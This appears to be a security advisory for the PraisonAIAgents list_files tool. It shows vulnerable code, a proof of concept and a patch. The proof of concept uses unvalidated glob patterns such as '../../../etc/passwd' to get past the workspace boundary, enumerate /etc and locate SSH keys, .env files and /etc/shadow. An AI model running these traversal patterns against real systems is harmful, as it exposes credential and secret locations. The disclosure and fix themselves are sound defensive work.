PraisonAIAgents: Path Traversal via Unvalidated Glob Pattern in list_files Bypasses Workspace Boundary

@staticmethod
def list_files(directory: str, pattern: Optional[str] = None) -> List[Dict[str, Union[str, int]]]:
    try:
        safe_dir = FileTools._validate_path(directory)  # directory validated
        path = Path(safe_dir)
        if pattern:
            files = path.glob(pattern)  # pattern NOT validated — traversal possible
        else:
            files = path.iterdir()

        result = []
        for file in files:
            if file.is_file():
                stat = file.stat()
                result.append({
                    'name': file.name,
                    'path': str(file),     # leaks path structure
                    'size': stat.st_size,   # leaks file size
                    'modified': stat.st_mtime,
                    'created': stat.st_ctime
                })
        return result

from praisonaiagents.tools.file_tools import list_files

# Directory "." passes _validate_path (resolves to cwd, within workspace)
# But pattern "../../../etc/passwd" causes glob to traverse outside workspace

# Step 1: Confirm /etc/passwd exists and get metadata
results = list_files('.', '../../../etc/passwd')
print(results)
# Output: [{'name': 'passwd', 'path': '/workspace/../../../etc/passwd',
#           'size': 1308, 'modified': 1735689600.0, 'created': 1735689600.0}]

# Step 2: Enumerate all files in /etc/
results = list_files('.', '../../../etc/*')
for f in results:
    print(f"{f['name']:30s} size={f['size']}")
# Output: lists all files in /etc with their sizes

# Step 3: Discover user home directories
results = list_files('.', '../../../home/*/.ssh/authorized_keys')
for f in results:
    print(f"Found SSH keys: {f['name']} at {f['path']}")

# Step 4: Find application secrets
results = list_files('.', '../../../home/*/.env')
results += list_files('.', '../../../etc/shadow')

@staticmethod
def list_files(directory: str, pattern: Optional[str] = None) -> List[Dict[str, Union[str, int]]]:
    try:
        safe_dir = FileTools._validate_path(directory)
        path = Path(safe_dir)
        
        if pattern:
            # Reject patterns containing path traversal
            if '..' in pattern:
                raise ValueError(f"Path traversal detected in pattern: {pattern}")
            files = path.glob(pattern)
        else:
            files = path.iterdir()

        cwd = os.path.abspath(os.getcwd())
        result = []
        for file in files:
            if file.is_file():
                # Verify each matched file is within the workspace
                real_path = os.path.realpath(str(file))
                if os.path.commonpath([real_path, cwd]) != cwd:
                    continue  # Skip files outside workspace
                stat = file.stat()
                result.append({
                    'name': file.name,
                    'path': real_path,
                    'size': stat.st_size,
                    'modified': stat.st_mtime,
                    'created': stat.st_ctime
                })
        return result
    except Exception as e:
        error_msg = f"Error listing files in {directory}: {str(e)}"
        logging.error(error_msg)
        return [{'error': error_msg}]